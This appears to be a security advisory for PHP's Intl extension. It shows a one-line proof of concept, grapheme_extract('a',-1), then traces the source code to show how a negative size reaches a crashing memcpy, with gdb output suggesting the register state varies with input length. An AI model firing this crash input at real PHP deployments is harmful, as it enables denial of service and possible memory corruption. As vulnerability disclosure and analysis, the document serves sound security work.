--- 0.Description ---
Internationalization extension (further is referred as Intl) is a wrapper for ICU library, enabling
PHP programmers to perform UCA-conformant collation and date/time/number/currency formatting in their
scripts.

grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer,
which must be encoded in UTF-8.


--- 1. PoC for grapheme_extract() ---
grapheme_extract('a',-1);

Change length of first parameter to change rip.


--- 2. grapheme_extract() NULL Pointer Dereference ---
As we can see in grapheme_extract(str,size)

-grapheme_extract()--
..
       if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl|llz", (char **)&str, &str_len, &size,
&extract_type, &lstart, &next) == FAILURE) {  <=== str='a' and size='-1'
..
       /* if the string is all ASCII up to size+1 - or str_len whichever is first - then we are done.
               (size + 1 because the size-th character might be the beginning of a grapheme cluster)
        */
       
       if ( -1 != grapheme_ascii_check(pstr, size + 1 < str_len ? size + 1 : str_len ) ) { <=== (
size=-1+1=0 ) ===
       long nsize = ( size < str_len ? size : str_len );  <=== nsize = -1
               if ( NULL != next ) {
                       ZVAL_LONG(next, start+nsize);
               }
               RETURN_STRINGL(((char *)pstr), nsize, 1); <=== CRASH POINT
       }
..
-grapheme_extract()--

if we call to grapheme_ascii_check(pstr,0) where

-grapheme_ascii_check()--
/* {{{ grapheme_ascii_check: ASCII check */
int grapheme_ascii_check(const unsigned char *day, int32_t len) <==== len=0
{
       int ret_len = len;
       while ( len-- ) {
       if ( *day++ > 0x7f )
               return -1;
       }

       return ret_len; <=== return 0
}
-grapheme_ascii_check()--

then we get (int)0 in result and

long nsize = ( size < str_len ? size : str_len );

will be -1. Therefore,

               RETURN_STRINGL(((char *)pstr), nsize, 1);

give NULL pointer dereference here.

Changing length of first parameter of grapheme_extract(), we will also change rip in memcpy(3).

(gdb) r -r 'grapheme_extract('a',-1);'
..
(gdb) x/i $rip
=> 0x7ffff5511d99 <memcpy+777>: mov    %rax,(%rdi)
(gdb) x/x $rax
0xf9891857a6e70f70:     Cannot access memory at address 0xf9891857a6e70f70
(gdb) x/x $rdi
0x11b2000:      Cannot access memory at address 0x11b2000
(gdb) r -r 'grapheme_extract('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa',-1);'
..
(gdb) x/i $rip
=> 0x7ffff5511d77 <memcpy+743>: mov    0x18(%rsi),%r10     
(gdb) x/x $rsi
0x11b1fe8:      0x00000000
